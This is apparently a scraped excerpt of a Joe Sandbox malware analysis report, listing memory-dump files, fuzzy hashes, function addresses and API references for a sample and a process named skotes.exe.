Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf84a1cd24713537337526f14955329ac7d6d6eb8681ea0e6c813b46f1bc58ed
Instruction ID: f12a539d7899b54ed6690fa7f2627b0f87a447bd123456105bc68c3cd9f6e6be
Opcode Fuzzy Hash: cf84a1cd24713537337526f14955329ac7d6d6eb8681ea0e6c813b46f1bc58ed
Instruction Fuzzy Hash: 42118623F30C255B775C816D8C172BEA5D2EBD825071F533AD826E72C4E9A4DE23D290

Function 00C58860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: 8ef2068d0848ba6160c76c070ffde659ac2bd8ce9d4653b35f0476dc8d91396c
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: 7F110B7F20014183E604862DC8B46B7A795EAC53237AC4375D8616B7D4DA2396CDD508

Function 051B0278 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1716621354.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_51b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83a7d528b7f1e4ff9fb71e72916d631d3af65b72be4fb0d1b788dd4a7eead234
Instruction ID: bdfa54334fd0a9d978aafa46fc3af774d20b56df043eda1ec5cd95abb7192b6a
Opcode Fuzzy Hash: 83a7d528b7f1e4ff9fb71e72916d631d3af65b72be4fb0d1b788dd4a7eead234
Instruction Fuzzy Hash: DAE086E740D1807C7A55C5A02A58AF76B5EEDD9731336C8DFF882C8007D7991D8E9532

Function 00C4A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 3e66961a032a1b6867e0cf8398c7783f8d524e42b717437d9e2c7ced53bc31d6
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 1AE08C32961228EBCB24DF98C90498AF3FCFB49B00B650096F501D3160D270EF00D7D0

Function 00C4CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C4CC66

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 904d570953f8f8feb9aeccd90bb8f2afb3c0a767ccd20cae16810872d7ee8005
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 5FB12332E026459FDB15CF28C8C17BEBBE5FF55340F24416AE865EB252D6348E42CB64

Function 00C12EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00C12F5F
__Mtx_unlock.LIBCPMT ref: 00C12FCC
__Mtx_unlock.LIBCPMT ref: 00C130F5
__Mtx_unlock.LIBCPMT ref: 00C1319B

Memory Dump Source

Source File: 00000000.00000002.1714453204.0000000000C11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C10000, based on PE: true

Associated: 00000000.00000002.1714437923.0000000000C10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714453204.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714504590.0000000000C79000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714519450.0000000000C7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714535138.0000000000C87000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714622700.0000000000DDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714637381.0000000000DDD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000DF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714654978.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714684582.0000000000E08000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714698298.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714718506.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714733588.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714750396.0000000000E2B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714764290.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714778209.0000000000E30000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714791594.0000000000E32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714805661.0000000000E39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714820068.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714837670.0000000000E57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714851841.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714878990.0000000000E60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714892305.0000000000E61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714904864.0000000000E62000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714918265.0000000000E68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714935032.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714949024.0000000000E83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963218.0000000000E8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714978070.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991667.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005271.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715018471.0000000000E92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715034183.0000000000E95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715047405.0000000000E96000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715061309.0000000000EDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715106485.0000000000F0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715120925.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715133981.0000000000F10000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715148964.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715162273.0000000000F17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715177397.0000000000F26000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c10000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: cd8a176a094c8ed3b5ef524dc071e520fd9ce1a3650b4804bbc1a2bb2cedf45b
Instruction ID: 06fbfd2c5c00b34e1113372effecbc6d0b0d413a1f0b06e3802deff1d0c743be
Opcode Fuzzy Hash: cd8a176a094c8ed3b5ef524dc071e520fd9ce1a3650b4804bbc1a2bb2cedf45b
Instruction Fuzzy Hash: 8EA1E170900255EFDB10DB64D88479EB7E8FF1A314F148129E826D7681EB31EB84EB91

Analysis Process: skotes.exePID: 2084, Parent PID: 6808COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	575
Total number of Limit Nodes:	4

Executed Functions

Function 009C652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,009C652A,?,?,?,?,?,009C7661), ref: 009C6567

Memory Dump Source

Source File: 00000001.00000002.1743404346.0000000000991000.00000040.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true

Associated: 00000001.00000002.1743379982.0000000000990000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743404346.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743506446.00000000009F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743552436.00000000009FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743573707.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743760042.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743848507.0000000000B5D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743870213.0000000000B80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743902161.0000000000B88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743918229.0000000000B8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743935998.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743952359.0000000000B99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743969003.0000000000BAB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743982468.0000000000BAC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1743999441.0000000000BAF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744015713.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744033036.0000000000BB9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744047632.0000000000BC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744067032.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744090255.0000000000BDF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744137556.0000000000BE0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744154517.0000000000BE1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744168507.0000000000BE2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744209452.0000000000BE8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744234846.0000000000BFF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744283877.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744297529.0000000000C0D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744372163.0000000000C0E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744386425.0000000000C0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744408895.0000000000C11000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744423376.0000000000C12000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744439348.0000000000C15000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744454155.0000000000C16000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C1D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744467734.0000000000C5F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744512601.0000000000C8E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744525686.0000000000C8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744536885.0000000000C90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744557800.0000000000C94000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744570975.0000000000C97000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1744588198.0000000000CA6000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_990000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0366b2c5490e4f16fb6fbfe77341e1b51d1fbd537330a44d89505eca37ae660c
Instruction ID: a043e41f86e2ff03639145c93c5cc6082811778cc82577d96ad512db97bd88b4
Opcode Fuzzy Hash: 0366b2c5490e4f16fb6fbfe77341e1b51d1fbd537330a44d89505eca37ae660c
Instruction Fuzzy Hash: 19E08C31541188AECF397F19C81DF483B69EBD1745F600808F85846222CB25DE81C782

Function 00999BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0099A963
